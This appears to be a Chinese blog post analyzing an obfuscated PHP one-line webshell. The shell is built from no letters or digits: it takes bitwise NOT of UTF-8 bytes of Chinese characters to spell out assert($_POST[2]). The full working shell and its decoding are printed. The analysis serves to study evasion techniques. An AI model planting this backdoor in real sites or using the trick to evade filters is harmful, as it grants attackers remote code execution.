最近看到师兄分享了一个PHP一句话,感觉思路挺骚的,拿出来分析一下
  • 代码中的下划线_不便浏览,建议保存到本地用Sublime Text 3Notepad++打开。代码如下:

    <?php
    $__=('>'>'<')+('>'>'<');
    $_=$__/$__;
    
    $____='';
    $___="瞰";
    $____.=~($___{$_});
    
    $___="和";
    $____.=~($___{$__});
    $___="和";
    $____.=~($___{$__});
    $___="的";
    $____.=~($___{$_});
    $___="半";
    $____.=~($___{$_});
    $___="始";
    $____.=~($___{$__});
    
    $_____='_';
    $___="俯";
    $_____.=~($___{$__});
    $___="瞰";
    $_____.=~($___{$__});
    $___="次";
    $_____.=~($___{$_});
    $___="站";
    $_____.=~($___{$_});
    
    $_=$$_____;
    $____($_[$__]);  //2=phpinfo();
    

分析

$__$_

  • 前面的2个变量$__$_比较简单。从代码可以看到,其实就是一个大于号>和一个小于号<的比较,大于号的ASCII十进制是62,小于号是60,自然这里>大于<是成立的,返回true。由于PHP弱类型这个特性,true的值为1,所以$__=1+1=2,也可以得知$_=2/2=1

    $__=('>'>'<')+('>'>'<');
    $_=$__/$__;
    

$____$_____

  • 接下来定义两个字符串$____$___,且可以从代码上看出,后面其实就是修改$___,经过一定处理后拼接到$____的后面,所以这里把其中一部分提取出来分析即可

    $____='';
    $___="瞰";
    $____.=~($___{$_});  
    
  • 简化一下

    // $____.=~($___{$_});  
    $____. = ~("瞰"{1});
    
  • 其中{}的作用是取字符串变量中的一个字节。UTF-8中1个中文字符占3个字节。这里将转换为二进制是

    11100111 10011110 10110000
    
  • 因此可知,"瞰"{1}即取第1位字节(从0开始),即10011110,然后通过~按位取反,即得01100001,转换为十六进制即为61,对应的字符为a
  • 后面的$_____也是相同方法,最终得到

    $____ = assert;
    $_____ = _POST;
    // $____($_[$__]);  //2=phpinfo();
    assert($_POST[2]);
    

参考:一些不包含数字和字母的webshell

最后修改:2020 年 03 月 05 日 10 : 54 AM
如果觉得我的文章对你有帮助,请我吃颗糖吧~